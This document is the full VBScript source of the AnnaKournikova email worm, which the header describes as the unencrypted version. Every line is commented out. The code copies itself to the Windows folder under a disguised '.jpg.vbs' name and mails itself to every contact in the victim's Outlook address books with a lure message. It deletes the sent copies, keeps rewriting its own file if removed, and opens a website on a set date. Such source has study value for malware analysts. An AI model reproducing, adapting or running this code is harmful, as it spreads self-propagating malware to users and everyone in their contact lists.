Unencrypted source code for the AnnaKournikova email worm, which is written in vbs.
86c35688afe1835d9e6e38b13aa455773d3fcefe6f171b6da95592401874aae0
'Vbs.OnTheFly Created By OnTheFly
'On Error Resume Next
'Set E7O3tH65p4P = CreateObject("WScript.Shell")
'E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
'Set rOwamTjngb5= Createobject("scripting.filesystemobject")
'rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
'if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
'e2nSA7HlgLC()
'end if
'if month(now) =1 and day(now) =26 then
'E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false
'end if
'Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1)
'ZN5JKZ4xiuV= JKgSwHK773x.readall
'JKgSwHK773x.Close
'Do
'If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then
'Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True)
'UeI22z8P4v0.writeZN5JKZ4xiuV
'UeI22z8P4v0.Close
'End If
'Loop
'Function e2nSA7HlgLC()
'On Error Resume Next
'Set D23OvxM6KRH = CreateObject("Outlook.Application")
'If D23OvxM6KRH= "Outlook"Then
'Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI")
'Set S6k211ge33L= j25tNZB9f8l.AddressLists
'For Each JR2mPsM2BmR In S6k211ge33L
'If JR2mPsM2BmR.AddressEntries.Count <> 0 Then
'd4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count
'For X789Va3zRez= 1 To d4BD3xgwv1J
'Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0)
'Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez)
'iq72b483v3Z.To = OIE4BVYjOJ8.Address
'iq72b483v3Z.Subject = "Here you have, ;o)"
'iq72b483v3Z.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
'set fWsnq8YG9f1=iq72b483v3Z.Attachments
'fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
'iq72b483v3Z.DeleteAfterSubmit = True
'If iq72b483v3Z.To <> "" Then
'iq72b483v3Z.Send
'E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\mailed", "1"
'End If
'Next
'End If
'Next
'end if
'End Function
'Vbswg 1.50b